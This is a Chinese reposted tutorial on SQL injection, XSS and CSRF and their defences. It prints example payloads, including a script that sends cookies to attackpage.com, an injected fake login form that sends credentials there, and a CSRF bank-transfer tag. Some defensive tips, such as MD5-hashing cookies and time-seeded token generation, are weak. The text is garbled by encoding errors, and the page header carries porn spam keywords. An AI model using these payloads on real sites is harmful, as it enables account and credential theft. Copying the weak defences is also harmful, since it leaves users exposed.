日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

Web攻防之XSS,CSRF,SQL注入

發(fā)布時間:2024/9/5 数据库 49 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Web攻防之XSS,CSRF,SQL注入 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

摘要:對Web服務(wù)器的攻擊也可以說是形形色色、種類繁多,常見的有掛馬、SQL注入、緩沖區(qū)溢出、嗅探、利用IIS等針對Webserver漏洞進行攻擊。本文結(jié)合WEB TOP10漏洞中常見的SQL注入,跨站腳本攻擊(XSS),跨站請求偽造(CSRF)攻擊的產(chǎn)生原理,介紹相應(yīng)的防范方法。

關(guān)鍵字:SQL注入,XSS,CSRF

1.SQL注入

  所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。 攻擊者通過在應(yīng)用程序預(yù)先定義好的SQL語句結(jié)尾加上額外的SQL語句元素,欺騙數(shù)據(jù)庫服務(wù)器執(zhí)行非授權(quán)的查詢,篡改命令。

  它能夠輕易的繞過防火墻直接訪問數(shù)據(jù)庫,甚至能夠獲得數(shù)據(jù)庫所在的服務(wù)器的系統(tǒng)權(quán)限。在Web應(yīng)用漏洞中,SQL Injection 漏洞的風險要高過其他所有的漏洞。

  攻擊原理

?

  假設(shè)的登錄查詢SELECT * FROM users WHERE login = 'victor' AND password = '123 Sever端代碼String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";輸入字符formusr = ' or 1=1 formpwd = anything實際的查詢代碼SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'

?

  發(fā)現(xiàn)注入點簡單辦法

  1.尋找?guī)в胁樵冏址膗rl的網(wǎng)頁(例如,查詢那些在URL里帶有"id=" 的URL)。

  2.向這個網(wǎng)站發(fā)送一個請求,改變其中的id=語句,帶一個額外的單引號(例如:id=123’)。

  3.查看返回的內(nèi)容,在其中查找“sql”,“statement”等關(guān)鍵字(這也說明返回了具體的錯誤信息,這本身就很糟糕)。如下圖:

  4.錯誤消息是否表示發(fā)送到SQL服務(wù)器的參數(shù)沒有被正確編碼果如此,那么表示可對該網(wǎng)站進行SQL注入攻擊。

  如何防范SQL注入攻擊

  一個常見的錯誤是,假如你使用了存儲過程或ORM,你就完全不受SQL注入攻擊之害了。這是不正確的,你還是需要確定在給存儲過程傳遞數(shù)據(jù)時你很謹慎,或在用ORM來定制一個查詢時,你的做法是安全的。

  參數(shù)化查詢已被視為最有效的可防御SQL注入攻擊的防御方式。目前主流的ORM 框架都內(nèi)置支持并且推薦使用這種方式進行持久層封裝。

  所謂的參數(shù)化查詢(Parameterized Query 或 Parameterized Statement)是指在設(shè)計與數(shù)據(jù)庫鏈接并訪問數(shù)據(jù)時,在需要填入數(shù)值或數(shù)據(jù)的地方,使用參數(shù) (Parameter) 來給值。

    例:
    SELECT * FROM myTable WHERE myID = @myIDINSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(?,?,?,?)

  通過(?)指定占位符,當然在添加參數(shù)的時候,必須按照(c1, c2, c3, c4)的順序來添加,否則會出錯。

?

2.跨站腳本攻擊(XSS)

  XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最常見的漏洞。指攻擊者在網(wǎng)頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網(wǎng)頁時,腳本就會在用戶的瀏覽器上執(zhí)行,從而達到攻擊者的目的.? 比如獲取用戶的Cookie,導航到惡意網(wǎng)站,攜帶木馬等。

  攻擊原理

  假如頁面有如下一個輸入框<input type="text" name="record" value="沙發(fā)">【沙發(fā)】是來自用戶的輸入,如果用戶輸入的是"οnfοcus="alert(document.cookie)那么就會變成 <input type="text" name="address1" value="" onfocus="alert(document.cookie)">事件被觸發(fā)的時候嵌入的JavaScript代碼將會被執(zhí)行攻擊的威力,取決于用戶輸入了什么樣的腳本。

  XSS

  1. 反射型XSS

  反射型XSS,又稱非持久型XSS。之所以稱為反射型XSS,則是因為這種攻擊方式的注入代碼是從目標服務(wù)器通過錯誤信息、搜索結(jié)果等等方式“反射”回來的。而稱為非持久型XSS,則是因為這種攻擊方式具有一次性。攻擊者通過電子郵件等方式將包含注入腳本的惡意鏈接發(fā)送給受害者,當受害者點擊該鏈接時,注入腳本被傳輸?shù)侥繕朔?wù)器上,然后服務(wù)器將注入腳本“反射”到受害者的瀏覽器上,從而在該瀏覽器上執(zhí)行了這段腳本。

比如攻擊者將如下鏈接發(fā)送給受害者:

http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

當受害者點擊這個鏈接的時候,注入的腳本被當作搜索的關(guān)鍵詞發(fā)送到目標服務(wù)器的search.asp頁面中,則在搜索結(jié)果的返回頁面中,這段腳本將被當作搜索的關(guān)鍵詞而嵌入。這樣,當用戶得到搜索結(jié)果頁面后,這段腳本也得到了執(zhí)行。這就是反射型XSS攻擊的原理,可以看到,攻擊者巧妙地通過反射型XSS的攻擊方式,達到了在受害者的瀏覽器上執(zhí)行腳本的目的。由于代碼注入的是一個動態(tài)產(chǎn)生的頁面而不是永久的頁面,因此這種攻擊方式只在點擊鏈接的時候才產(chǎn)生作用,這也是它被稱為非持久型XSS的原因

  2.存儲型XSS

   存儲型XSS,又稱持久型XSS,他和反射型XSS最大的不同就是,攻擊腳本將被永久地存放在目標服務(wù)器的數(shù)據(jù)庫和文件中。這種攻擊多見于論壇,攻擊者在發(fā)帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內(nèi)容之中。隨著帖子被論壇服務(wù)器存儲下來,惡意腳本也永久地被存放在論壇服務(wù)器的后端存儲器中。當其它用戶瀏覽這個被注入了惡意腳本的帖子的時候,惡意腳本則會在他們的瀏覽器中得到執(zhí)行,從而受到了攻擊。

  Xss危害

  1.盜取cookie

    通過XSS攻擊,由于注入代碼是在受害者的瀏覽器上執(zhí)行,因此能夠很方便地竊取到受害者的Cookie信息。比如,我們只要注入類似如下的代碼:

  <script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>

    當受害者的瀏覽器執(zhí)行這段腳本的時候,就會自動訪問攻擊者建立的網(wǎng)站www.attackpage.com,打開其中的recourd.asp,將受害者瀏覽器的Cookie信息給記錄下來。這樣,攻擊者就得到了用戶的Cookie信息。

    得到受害者的Cookie信息后,攻擊者可以很方便地冒充受害者,從而擁有其在目標服務(wù)器上的所有權(quán)限,相當于受害者的身份認證被竊取了。

  2.釣魚攻擊

    所謂釣魚攻擊就是構(gòu)建一個釣魚頁面,誘騙受害者在其中輸入一些敏感信息,然后將其發(fā)送給攻擊者。利用XSS的注入腳本,我們也可以很方便地注入釣魚頁面的代碼,從而引導釣魚攻擊。比如下面這樣一段代碼:

  <script>function hack(){
    location.replace("http:
//www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);}</script><form><br> <H3>此功能需要登錄:</H3 > <br><br>請輸入用戶名:<br> <input type=”text” id=”user”name=”user”><br>請輸入密碼:<br><input type=”password” name =“pass”><br><input type=”submit”name=”login” value=”登錄”οnclick=”hack()”></form>

?

    注入上面的代碼后,則會在原來的頁面上,插入一段表單,要求用戶輸入自己的用戶名和密碼,而當用戶點擊“登錄”按鈕后,則會執(zhí)行hack()函數(shù),將用戶的輸入發(fā)送到攻擊者指定的網(wǎng)站上去。這樣,攻擊者就成功竊取了該用   戶的賬號信息。和一般的釣魚攻擊不同,XSS引導的釣魚攻擊由于是對用戶信任的網(wǎng)站頁面進行修改的。

  3.?? CSRF攻擊

    比如我們注入如下的HTML代碼:

   <imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>

????????   假如上面的代碼中所訪問的是某個銀行網(wǎng)站的轉(zhuǎn)賬服務(wù),則當受害者的瀏覽器運行這段腳本時,就會向攻擊者指定的賬戶(示例的123456)執(zhí)行轉(zhuǎn)賬操作。由于這個轉(zhuǎn)賬請求是在受害者的瀏覽器中運行的,因此瀏覽器也會自    ?動將受害者的Cookie信息一并發(fā)送。這樣,發(fā)送的請求就好像是受害者自己發(fā)送的一樣,銀行網(wǎng)站也將認可這個請求的合法性,攻擊者也就達到了偽造請求的目的。

  4.傳播惡意軟件

      除了直接注入惡意腳本以外,通過XSS攻擊,攻擊者也可以很方便地在腳本中引入一些惡意軟件,比如病毒、木馬、蠕蟲等等。例如,攻擊者可以在某個自己建立的頁面上放置一些惡意軟件,然后用XSS注入的方式,插入一    段引用該頁面的腳本。這樣當受害者的瀏覽器執(zhí)行這段腳本的時候,就會自動訪問放置了惡意軟件的頁面,從而受到這些惡意軟件的感染。

  XSS的預(yù)防

  1. 輸入過濾

????????   對用戶的所有輸入數(shù)據(jù)進行檢測,比如過濾其中的“<”、“>”、“/”等可能導致腳本注入的特殊字符,或者過濾“script”、“javascript”等腳本關(guān)鍵字,或者對輸入數(shù)據(jù)的長度進行限制等等。同時,我們也要考慮用戶可能繞開    ASCII碼,使用十六進制編碼來輸入腳本。因此,對用戶輸入的十六進制編碼,我們也要進行相應(yīng)的過濾。只要能夠嚴格檢測每一處交互點,保證對所有用戶可能的輸入都進行檢測和XSS過濾,就能夠有效地阻止XSS攻擊。

  2. 輸出編碼

????????   通過前面對XSS攻擊的分析,我們可以看到,之所以會產(chǎn)生XSS攻擊,就是因為Web應(yīng)用程序?qū)⒂脩舻妮斎胫苯忧度氲侥硞€頁面當中,作為該頁面的HTML代碼的一部分。因此,當Web應(yīng)用程序?qū)⒂脩舻妮斎霐?shù)據(jù)輸出到目標    頁面中時,只要用HtmlEncoder等工具先對這些數(shù)據(jù)進行編碼,然后再輸出到目標頁面中。這樣,如果用戶輸入一些HTML的腳本,也會被當成普通的文字,而不會成為目標頁面HTML代碼的一部分得到執(zhí)行。

  3. Cookie防盜

    利用XSS攻擊,攻擊者可以很方便地竊取到合法用戶的Cookie信息。因此,對于Cookie,我們可以采取以下的措施。首先,我們要盡可能地避免在Cookie中泄露隱私,如用戶名、密碼等;其次,我們可以將Cookie信息利用MD5等Hash算法進行多次散列后存放;再次,為了防止重放攻擊,我們也可以將Cookie和IP進行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。

?

???????? 作為一名普通的網(wǎng)絡(luò)用戶,在XSS攻擊的預(yù)防上我們可以采取以下措施。首先,我們不要輕易相信電子郵件或者網(wǎng)頁中的不明鏈接,這些鏈接很有可能引導反射型XSS攻擊或者使我們訪問到一些不安全的網(wǎng)頁。其次,我們在不必要的時候可以禁用腳本功能,這樣XSS注入的腳本就無法得到運行。

3.?? CSRF 攻擊

  CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。

你這可以這么理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求。CSRF能夠做的事情包括:以你名義發(fā)送郵件,發(fā)消息,盜取你的賬號,甚至于購買商品,虛擬貨幣轉(zhuǎn)賬......造成的問題包括:個人隱私泄露以及財產(chǎn)安全。

  CSRF漏洞現(xiàn)狀

     CSRF這種攻擊方式在2000年已經(jīng)被國外的安全人員提出,但在國內(nèi),直到06年才開始被關(guān)注,08年,國內(nèi)外的多個大型社區(qū)和交互網(wǎng)站分別爆出CSRF漏洞,如:NYTimes.com(紐約時報)、Metafilter(一個大型BLOG網(wǎng)站),YouTube和百度HI......而現(xiàn)在,互聯(lián)網(wǎng)上的許多站點仍對此毫無防備,以至于安全業(yè)界稱CSRF為“沉睡的巨人”。

  原理

  網(wǎng)站A :為惡意網(wǎng)站。

  網(wǎng)站B :用戶已登錄的網(wǎng)站。

  當用戶訪問 A站 時,A站 私自訪問 B站 的操作鏈接,模擬用戶操作。

  假設(shè)B站有一個刪除評論的鏈接:http://b.com/comment/?type=delete&id=81723

  A站 直接訪問該鏈接,就能刪除用戶在 B站 的評論。

  CSRF 防御技巧

  1.驗證碼

    幾乎所有人都知道驗證碼,但驗證碼不單單用來防止注冊機的暴力破解,還可以有效防止CSRF的攻擊。驗證碼算是對抗CSRF攻擊最簡潔有效的方法。但使用驗證碼的問題在于,不可能在用戶的所有操作上都需要輸入驗證碼.只有一些關(guān)鍵的操作,才能要求輸入驗證碼。不過隨著HTML5的發(fā)展。利用canvas標簽,前端也能識別驗證碼的字符,讓CSRF生效。

  2.Token

    CSRF能攻擊成功,根本原因是:操作所帶的參數(shù)均被攻擊者猜測到。既然知道根本原因,我們就對癥下藥,利用Token。當向服務(wù)器傳參數(shù)時,帶上Token。這個Token是一個隨機值,并且由服務(wù)器和用戶同時持有。當用戶提交表單時帶上Token值,服務(wù)器就能驗證表單和session中的Token是否一致。

? ? ? ? ?token生成示例代碼如下

  

private static SecureRandom secureRandom=null; public static String createToken() {if(secureRandom==null){String entoropy="LogonSessionEntoropy" + System.currentTimeMillis();try {secureRandom = SecureRandom.getInstance("SHA1PRNG");} catch (NoSuchAlgorithmException e) {throw new RuntimeException(e);}secureRandom.setSeed(entoropy.getBytes());}byte bytes[]=new byte[16];secureRandom.nextBytes(bytes);byte[] base64Bytes = Base64.encode(bytes);return new String(base64Bytes); }

?

?

轉(zhuǎn)載于:https://www.cnblogs.com/drawwindows/archive/2013/03/11/2954259.html

總結(jié)

以上是生活随笔為你收集整理的Web攻防之XSS,CSRF,SQL注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。